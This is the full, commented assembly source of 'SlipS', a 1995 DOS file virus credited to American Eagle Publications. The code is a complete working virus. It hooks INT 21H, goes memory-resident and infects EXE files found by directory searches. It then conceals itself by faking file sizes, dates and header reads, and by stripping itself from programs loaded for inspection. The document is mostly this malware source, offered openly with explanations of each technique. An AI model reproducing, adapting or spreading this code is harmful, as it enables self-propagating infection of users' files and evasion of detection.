;The SlipS Virus. ;(C) 1995 American Eagle Publications, Inc. All rights reserved. ;This is a resident virus which infects files when they are searched for ;using the FCB-based search functions. It is a full stealth virus. .SEQ ;segments must appear in sequential order ;to simulate conditions in actual active vi- rus ;HOSTSEG program code segment. The virus gains control before this routine and ;attaches itself to another EXE file. HOSTSEG SEGMENT BYTE ASSUME CS:HOSTSEG,SS:HSTACK ;This host simply terminates and returns control to DOS. HOST: db 5000 dup (90H) ;make host larger than virus mov ax,4C00H int 21H ;terminate normally HOSTSEG ENDS ;Host program stack segment STACKSIZE EQU 100H ;size of stack for this program HSTACK SEGMENT PARA STACK 'STACK' db STACKSIZE dup (0) HSTACK ENDS ;************************************************************************ ;This is the virus itself ;Intruder Virus code segment. This gains control first, before the host. As this ;ASM file is layed out, this program will look exactly like a simple program ;that was infected by the virus. VSEG SEGMENT PARA ASSUME CS:VSEG,DS:VSEG,SS:HSTACK ;****************************************************************************** ;This portion of the virus goes resident if it isn't already. In theory, ;because of the stealthing, this code should never get control unless the ;virus is not resident. Thus, it never has to check to see if it's already ;there! SLIPS: mov ax,4209H ;see if virus is already there int 21H jc NOT_RESIDENT ;no, go make it resident mov ax,cs ;relocate relocatables add WORD PTR cs:[HOSTS],ax add WORD PTR cs:[HOSTC+2],ax cli ;set up host stack mov WORD PTR ss,cs:[HOSTS] mov WORD PTR sp,cs:[HOSTS+2] sti jmp DWORD PTR cs:[HOSTC] ;and transfer control to the host NOT_RESIDENT: push cs ;first, let's move host to PSP:100H pop ds ;note that the host must be larger xor si,si ;than the virus for this to work mov di,100H mov cx,OFFSET END_VIRUS rep movsb ;move it mov ax,es add ax,10H push ax ;now jump to PSP+10H:GO_RESIDENT mov ax,OFFSET MOVED_DOWN push ax retf ;using a retf MOVED_DOWN: push cs pop ds ;ds=cs call INSTALL_INTS ;install interrupt handlers cmp BYTE PTR [FIRST],1 ;first generation? jne GO_EXEC ;no, go exec host mov [FIRST],0 ;else reset flag jmp SHORT GO_RESIDENT ;and go resident GO_EXEC: cli mov ax,cs mov ss,ax mov sp,OFFSET END_STACK ;move stack down sti mov bx,sp mov cl,4 ;prep to reduce memory size shr bx,cl add bx,11H ;bx=paragraphs to save mov ah,4AH int 21H ;reduce it mov bx,2CH ;get environment segment mov es,es:[bx] mov ax,ds sub ax,10H mov WORD PTR [EXEC_BLK],es ;set up EXEC data structure mov [EXEC_BLK+4],ax ;for EXEC function to execute host mov [EXEC_BLK+8],ax mov [EXEC_BLK+12],ax xor di,di ;now get host's name from mov cx,7FFFH ;environment xor al,al HNLP: repnz scasb scasb loopnz HNLP add di,2 ;es:di point to host's name now push es ;now prepare to EXEC the host pop ds mov dx,di ;ds:dx point to host's name now push cs pop es mov bx,OFFSET EXEC_BLK ;es:bx point to EXEC_BLK mov ax,4B00H int 21H ;now EXEC the host push ds pop es ;es=segment of host EXECed mov ah,49H ;free memory from EXEC int 21H mov ah,4DH ;get host return code int 21H GO_RESIDENT: mov dx,OFFSET END_STACK ;now go resident mov cl,4 ;keep everything in memory shr dx,cl add dx,11H mov ah,31H ;return with host's return code int 21H db 'SlipS gotcha!' ;INSTALL_INTS installs the interrupt 21H hook so that the virus becomes ;active. All this does is put the existing INT 21H vector in OLD_21H and ;put the address of INT_21H into the vector. INSTALL_INTS: push es ;preserve es! mov ax,3521H ;hook interrupt 21H int 21H mov WORD PTR [OLD_21H],bx ;save old here mov WORD PTR [OLD_21H+2],es mov dx,OFFSET INT_21H ;and set up new mov ax,2521H int 21H mov BYTE PTR [INDOS],0 ;clear this flag pop es ret ;This is the interrupt 21H hook. It becomes active when installed by ;INSTALL_INTS. It traps Functions 11H and 12H and infects all EXE files ;found by those functions. INDOS DB 0 ;local INDOS function INT_21H: cmp ax,4209H ;self-test for virus? jne I211 clc ;yes, clear carry and exit retf 2 I211: cmp cs:[INDOS],1 ;already inside of DOS? je GOLD ;yes, don't re-enter! cmp ah,11H ;DOS FCB-based Search First Function jne I212 jmp SRCH_HOOK ;yes, go execute hook I212: cmp ah,12H ;FCB-based Search Next Function jne I214 jmp SRCH_HOOK I214: cmp ah,3FH ;Handle-based read function jne I216 jmp HREAD_HOOK I216: cmp ax,4202H ;File positioning function jne I217 jmp FPTR_HOOK I217: cmp ah,4BH ;DOS EXEC function jne I218 jmp EXEC_HOOK I218: cmp ah,4EH ;Handle-based search first function jne I219 jmp HSRCH_HOOK I219: cmp ah,4FH ;Handle-based search next function jne I220 jmp HSRCH_HOOK I220: cmp ah,57H ;File date and time function jne I221 jmp DATE_HOOK I221: GOLD: jmp DWORD PTR cs:[OLD_21H] ;execute original int 21 handler ;This routine just calls the old Interrupt 21H vector internally. It is ;used to help get rid of tons of pushf/call DWORD PTR's in the code DOS: pushf call DWORD PTR cs:[OLD_21H] ret ;Handle-based read hook. This hook stealths file reads at the beginning ;and the end. At the beginning, it replaces the modified EXE header with ;the original, uninfected one. At the end, it makes it appear as if the ;virus is not appended to the file HREAD_HOOK: push bx push cx push dx push si push ds push es call FIND_SFT ;find system file tbl for this file mov ax,es:[bx+15] ;get file date cmp ax,57*512 ;is it infected? jnc HRH3 jmp HRHNI ;no, just go do read normally HRH3: mov ax,es:[bx+15H] ;get current file pointer mov dx,es:[bx+17H] ;dx:ax = file ptr push bp mov bp,sp push ax push dx mov cx,es:[bx+11H] ;bx:cx is the file size now mov bx,es:[bx+13H] sub cx,OFFSET END_VIRUS + 10H sbb bx,0 ;bx:cx is the old file size now sub cx,ax sbb bx,dx ;bx:cx is now distance to end of file jnc HRH4 ;ptr > file size, return c on read xor bx,bx xor cx,cx ;zero distance to end of file HRH4: mov dx,[bp+10] ;bx=requested amount to read or bx,bx ;is distance > 64K? if so, no problem jnz HRH5 cmp cx,dx ;is distance > dx? if so, no problem jnc HRH5 mov [bp+10],cx ;else adjust requested read amt HRH5: pop dx pop ax pop bp or dx,dx ;are we reading a modified EXE header? jnz CKHI ;no, continue cmp ax,24 jnc CKHI ;no, continue CKLO: ;yes, must adjust header as read push bp mov bp,sp push ax mov bx,[bp+12] ;get file handle mov cx,[bp+10] ;get cx and ds:dx for read mov ds,[bp+4] mov dx,[bp+8] mov ah,3FH call DOS mov bx,dx mov ax,[bx+8] ;get header paragraphs add ax,[bx+16H] ;add initial cs mov cx,16 mul cx ;dx:ax = start of virus cs add ax,OFFSET EXE_HDR adc dx,0 mov cx,dx mov dx,ax ;cx:dx = offset of EXE_HDR in file pop ax push ax add dx,ax ;cx:dx = offset of proper part of hdr adc cx,0 ;to read mov ax,4200H mov bx,[bp+12] call DOS ;move there pop ax push ax mov cx,24 sub cx,ax ;cx=bytes to read mov dx,[bp+8] add dx,ax ;place to read to mov ah,3FH call DOS ;read the old data pop dx pushf xor cx,cx add dx,[bp+10] ;cx:dx = where file ptr should end up mov ax,4200H call DOS ;move it there popf mov ax,[bp+10] ;set amount read here CKLOD: pop bp ;done pop es pop ds pop si pop dx pop cx pop bx retf 2 CKHI: pop es pop ds pop si pop dx pop cx pop bx mov ah,3FH call DOS retf 2 HRHNI: ;come here if file is not infected pop es ;restore all registers pop ds pop si pop dx pop cx pop bx mov ah,3FH jmp GOLD ;and go to DOS ;This hooks attempts to move the file pointer with DOS function 4202H. It ;computes file positions relative to the end of the host, rather than relative ;to the end of the file. FPTR_HOOK: push bx push cx push dx push si push es push ds call FIND_SFT ;find SFT entry corresponding to file mov ax,es:[bx+15] ;get file date cmp ax,57*512 ;is it infected? jc FPNI ;no, just handle normally push bp ;infected, we must adjust this call mov bp,sp mov dx,es:[bx+11H] mov cx,es:[bx+13H] ;cx:dx is the file size now add dx,[bp+8] adc cx,[bp+10] ;cx:dx is the desired new pointer sub dx,OFFSET END_VIRUS + 16 sbb cx,0 ;cx:dx is the adjusted new pointer mov bx,[bp+12] mov ax,4200H ;move relative to start of file call DOS mov [bp+8],dx ;dx:ax is now the absolute file ptr pop bp pop ds pop es pop si pop dx pop cx pop bx retf 2 FPNI: ;file not infected, handle normally pop ds pop es pop si pop dx pop cx pop bx mov ax,4202H jmp GOLD ;This subroutine sets es:bx to point to the system file table entry ;corresponding to the file handle passed to it in bx. It also sets ds equal ;to the PSP of the current process. FIND_SFT: push bx mov ah,62H ;get PSP of current process in es int 21H mov ds,bx ;ds=current PSP mov ah,52H ;now get lists of lists int 21H les bx,es:[bx+4] ;get SFT pointer pop si ;handle number to si mov al,[si+18H] ;get SFT number from PSP xor ah,ah FSF1: cmp ax,es:[bx+4] ;number of SFT entries in this block jle FSF2 ;right block? continue sub ax,es:[bx+4] ;else decrement counter les bx,es:[bx] ;and get next pointer jmp FSF1 FSF2: add bx,6 ;go to first SFT entry in this block mov ah,3BH mul ah add bx,ax ;es:bx points to correct SFT ret ;This hooks the EXEC function 4BH, subfunction 1. ;When an infected file is loaded with this function, the virus is cleaned off ;and only the host is loaded. EXEC_HOOK: cmp al,1 ;we only handle subfunction 1 here je EXEC_HOOK_GO jmp GOLD EXEC_HOOK_GO: push ds push es ;save data block location push bx call DOS ;ok, loaded pop bx ;restore data block location pop es push ax ;save return code mov si,es:[bx+18] mov ds,es:[bx+20] ;ds:si = starting cs:ip of child push si push es mov di,OFFSET SLIPS push cs pop es ;es:di = starting point of virus mov cx,10H repz cmpsw ;compare 32 bytes of code pop es pop si jnz EXH ;not the virus, exit now ;else we have the virus at ds:si mov ax,[si+OFFSET HOSTC] ;offset of host startup mov cx,[si+OFFSET HOSTC+2] ;segment of host startup mov dx,ds add cx,dx ;cx=relocated host start segment mov es:[bx+18],ax mov es:[bx+20],cx ;set child start @ = host mov ax,[si+OFFSET HOSTS] mov cx,[si+OFFSET HOSTS+2] add ax,dx mov es:[bx+14],cx mov es:[bx+16],ax push es push ds pop es xor di,di ;es:di point to virus in code mov cx,OFFSET END_VIRUS xor al,al rep stosb ;zero it out so you don't see it pop es EXH: pop ax ;restore return code pop ds clc retf 2 ;This is the Search First/Search Next Function Hook, hooking the handle-based ;functions. It requires a local stack to avoid an overflow in the INT 21H ;internal stack OSTACK DW 0,0 TMP DW 0 HSRCH_HOOK: mov cs:[INDOS],1 mov cs:[OSTACK],sp mov cs:[OSTACK+2],ss mov cs:[TMP],ax cli mov ax,cs mov ss,ax mov sp,OFFSET END_STACK sti mov ax,cs:[TMP] call DOS ;call original int 21H handler pushf or al,al ;was it successful? jnz HSEXIT ;nope, just exit pushf push ax ;save registers push bx push cx push dx push es push ds mov ah,2FH ;get dta address in es:bx int 21H push es pop ds mov ax,[bx+24] ;get file date cmp ax,57*512 ;is date >= 2037 ? jc EX_HSRCH ;no, we're all done sub [bx+24],57*512 ;yes, subtract 57 years from reported date mov ax,[bx+26] mov dx,[bx+28] ;file size in dx:ax sub ax,OFFSET END_VIRUS + 10H sbb dx,0 ;adjust it mov [bx+26],ax ;and save it back to DTA mov [bx+28],dx EX_HSRCH: pop ds ;restore registers pop es pop dx pop cx pop bx pop ax popf HSEXIT: popf cli mov ss,cs:[OSTACK+2] mov sp,cs:[OSTACK] sti mov cs:[INDOS],0 retf 2 ;This is the Search First/Search Next Function Hook, hooking the FCB-based ;functions SRCH_HOOK: mov cs:[INDOS],1 call DOS ;call original handler or al,al ;was it successful? jnz SEXIT ;nope, just exit pushf push ax ;save registers push bx push cx push dx push di push si push es push ds mov ah,2FH ;get dta address in es:bx int 21H cmp BYTE PTR es:[bx],0FFH jne SH1 ;an extended fcb? add bx,7 ;yes, adjust index SH1: push es push bx call FILE_OK ;ok to infect? jc ADJ_INFECTED ;no, see if already infected, and stealth call INFECT_FILE ;go ahead and infect it ADJ_INFECTED: pop bx pop es mov ax,es:[bx+25] ;get file date cmp ax,57*512 ;is date >= 2037 ? jc EXIT_SRCH ;no, we're all done sub es:[bx+25],57*512 ;yes, subtract 57 years from reported date mov ax,es:[bx+29] mov dx,es:[bx+31] ;file size in dx:ax sub ax,OFFSET END_VIRUS + 10H sbb dx,0 ;adjust it mov es:[bx+29],ax ;and save it back to DTA mov es:[bx+31],dx EXIT_SRCH: pop ds pop es pop si ;restore registers pop di pop dx pop cx pop bx pop ax popf SEXIT: mov cs:[INDOS],0 retf 2 ;return to original caller with current flags ;This routine hooks the file date/time function 57H. For function 0 (get date) ;it subtracts 57 from the year if the file is infected already. For function 1 ;(set date), it adds 57 to the year if the current year is > 2037 DATE_HOOK: cmp al,1 jl DH_0 ;go handle sub-function 0 ;Subfunction 1: set date DH_1: push dx push cx mov al,0 ;first get current date call DOS cmp dx,57*512 ;greater than 2037? pop cx pop dx jc DH_11 ;no, just set actual date add dx,57*512 ;yes, add 57 years to new date DH_11: mov al,1 pushf call DWORD PTR cs:[OLD_21H] retf 2 ;Subfunction 0: get date DH_0: call DOS ;do original int 21H pushf cmp dx,57*512 ;is year greater than 2037? jc DHX ;no, report actual value sub dx,57*512 ;yes, subtract 57 years DHX: popf retf 2 ;Function to determine whether the file found by the search routine is ;useable. If so return nc, else return c. ;What makes a file useable?: ; a) It must have an extension of EXE. ; b) The file date must be earlier than 2037. ; c) The signature field in the EXE header must be 'MZ'. (These ; are the first two bytes in the file.) ; d) The Overlay Number field in the EXE header must be zero. ; e) It should be a DOS EXE, without a new header. ; f) The host must be larger than the virus. FILE_OK: push es pop ds cmp WORD PTR [bx+9],'XE' jne OK_EX ;check for an EXE file cmp BYTE PTR [bx+11],'E' jne OK_EX ;if not EXE, just return to caller cmp WORD PTR [bx+25],57*512 ;check file date (>=2037?) jc OK_GOON ;probably infected already, don't infect OK_EX: jmp OK_END2 OK_GOON:mov si,bx ;ds:si now points to fcb inc si ;now, to file name in fcb push cs pop es mov di,OFFSET FNAME ;es:di points to file name buffer here mov cx,8 ;number of bytes in file name FO1: lodsb ;let's get the file name stosb cmp al,20H je FO2 loop FO1 inc di FO2: mov BYTE PTR es:[di-1],'.' ;put it in ASCIIZ format mov ax,'XE' ;with no spaces stosw ;so we can use handle-based routines mov ax,'E' ;to check it further stosw push cs pop ds ;now cs, ds and es all point here mov dx,OFFSET FNAME mov ax,3D02H ;r/w access open file using handle int 21H jc OK_END1 ;error opening - C set - quit w/o closing mov bx,ax ;put handle into bx and leave bx alone mov cx,1CH ;read 28 byte EXE file header mov dx,OFFSET EXE_HDR ;into this buffer mov ah,3FH ;for examination and modification call DOS jc OK_END ;error in reading the file, so quit cmp WORD PTR [EXE_HDR],'ZM';check EXE signature of MZ jnz OK_END ;close & exit if not cmp WORD PTR [EXE_HDR+26],0;check overlay number jnz OK_END ;not 0 - exit with c set cmp WORD PTR [EXE_HDR+24],40H ;is rel table at offset 40H or more? jnc OK_END ;yes, it is not a DOS EXE, so skip it mov ax,WORD PTR [EXE_HDR+4];get page count dec ax mov cx,512 mul cx add ax,WORD PTR [EXE_HDR+2] adc dx,0 ;dx:ax contains file size or dx,dx ;if dx>0 jz OK_END3 ;then the file is big enough cmp ax,OFFSET END_VIRUS ;check size jc OK_END ;not big enough, exit OK_END3:clc ;no, all clear, clear carry jmp SHORT OK_END1 ;and leave file open OK_END: mov ah,3EH ;else close the file int 21H OK_END2:stc ;set carry to indicate file not ok OK_END1:ret ;return with c flag set properly ;This routine moves the virus (this program) to the end of the EXE file ;Basically, it just copies everything here to there, and then goes and ;adjusts the EXE file header. It also makes sure the virus starts ;on a paragraph boundary, and adds how many bytes are necessary to do that. INFECT_FILE: mov ax,4202H ;seek end of file to determine size xor cx,cx xor dx,dx int 21H mov cx,dx ;move to regs for Function 42H mov dx,ax push dx ;save this for end adjustment or dl,0FH ;adjust file length to paragraph add dx,1 ;boundary adc cx,0 mov WORD PTR [FSIZE+2],cx mov WORD PTR [FSIZE],dx mov ax,4200H ;set file pointer, relative to beginning int 21H ;go to end of file + boundary mov cx,OFFSET END_VIRUS ;last byte of code xor dx,dx ;first byte of code, ds:dx mov ah,40H ;write body of virus to file int 21H pop ax ;original file size and al,0FH ;adjust file to constant size increase jz INF1 ;was exact, dont add 10H more mov cx,10H sub cl,al ;cx=number of bytes to write mov dx,OFFSET END_STACK ;write any old garbage mov ah,40H int 21H INF1: mov dx,WORD PTR [FSIZE] ;find relocatables in code mov cx,WORD PTR [FSIZE+2] ;original end of file add dx,OFFSET HOSTS ; + offset of HOSTS adc cx,0 ;cx:dx is that number mov ax,4200H ;set file pointer to 1st relocatable int 21H mov ax,WORD PTR [FSIZE] ;calculate viral initial CS mov dx,WORD PTR [FSIZE+2] ; = File size / 16 - Header Size(Para) mov cx,16 div cx ;dx:ax contains file size / 16 sub ax,WORD PTR [EXE_HDR+8] ;subtract exe header size, in paragraphs push ax sub WORD PTR [EXE_HDR+14],ax ;adjust initial cs and ss sub WORD PTR [EXE_HDR+22],ax ;to work with relocation scheme mov dx,OFFSET EXE_HDR+14 ;get correct host ss:sp, cs:ip mov cx,10 mov ah,40H ;and write it to HOSTS/HOSTC int 21H xor cx,cx ;so now adjust the EXE header values xor dx,dx mov ax,4200H ;set file pointer to start of file int 21H pop ax mov WORD PTR [EXE_HDR+22],ax;save as initial CS mov WORD PTR [EXE_HDR+14],ax;save as initial SS mov WORD PTR [EXE_HDR+20],OFFSET SLIPS ;save initial ip mov WORD PTR [EXE_HDR+16],OFFSET END_VIRUS + STACKSIZE ;& init sp mov dx,WORD PTR [FSIZE+2] ;calculate new file size for header mov ax,WORD PTR [FSIZE] ;get original size add ax,OFFSET END_VIRUS + 200H ;add vir size + 1 para, 512 bytes adc dx,0 mov cx,200H ;divide by paragraph size div cx ;ax=paragraphs, dx=last paragraph size mov WORD PTR [EXE_HDR+4],ax ;and save paragraphs here mov WORD PTR [EXE_HDR+2],dx ;last paragraph size here mov cx,1CH ;and save 1CH bytes of header mov dx,OFFSET EXE_HDR ;at start of file mov ah,40H int 21H mov ax,5700H ;get file date and time int 21H add dx,57*512 ;add 57 years to date mov ax,5701H ;and set date again int 21H mov dx,OFFSET FNAME ;get file attributes mov ax,4300H int 21H push cx ;save them for a second mov ah,3EH ;close file now int 21H pop cx ;and then set file attributes mov ax,4301H int 21H ret ;that's it, infection is complete! ;****************************************************************************** ;This is the data area for the virus which goes resident when the virus goes ;resident. It contains data needed by the resident part, and data which the ;startup code needs pre-initialized. OLD_21H DD ? ;old int 21H vector ;The following is the control block for the DOS EXEC function. It is used by ;the virus to execute the host program after it installs itself in memory. EXEC_BLK DW 0 ;seg @ of environment string DW 80H ;4 byte ptr to command line DW 0 DW 5CH ;4 byte ptr to first FCB DW 0 DW 6CH ;4 byte ptr to second FCB DW 0 DD ? ;init ss:sp for subfctn 1 DD ? ;init cs:ip for subfctn 1 FNAME DB 12 dup (0) FSIZE DW 0,0 EXE_HDR DB 1CH dup (?) ;buffer for EXE file header PSP DW ? ;place to store PSP segment FIRST DB 1 ;flag to indicate 1st generation ;The following 10 bytes must stay together because they are an image of 10 ;bytes from the EXE header HOSTS DW 0,STACKSIZE ;host stack and code segments FILLER DW ? ;these are dynamically set by the virus HOSTC DW OFFSET HOST,0 ;but hard-coded in the 1st generation END_VIRUS: ;marker for end of resident part ;****************************************************************************** ;This is a temporary local stack for the virus used by it when EXECing the ;host program. It reduces its memory size as much as possible to give the ;host room to EXEC. However, it must maintain a stack, so here it is. This ;part of the virus is not kept when it goes resident. LOCAL_STK DB 256 dup (0) ;local stack for virus END_STACK: VSEG ENDS END SLIPS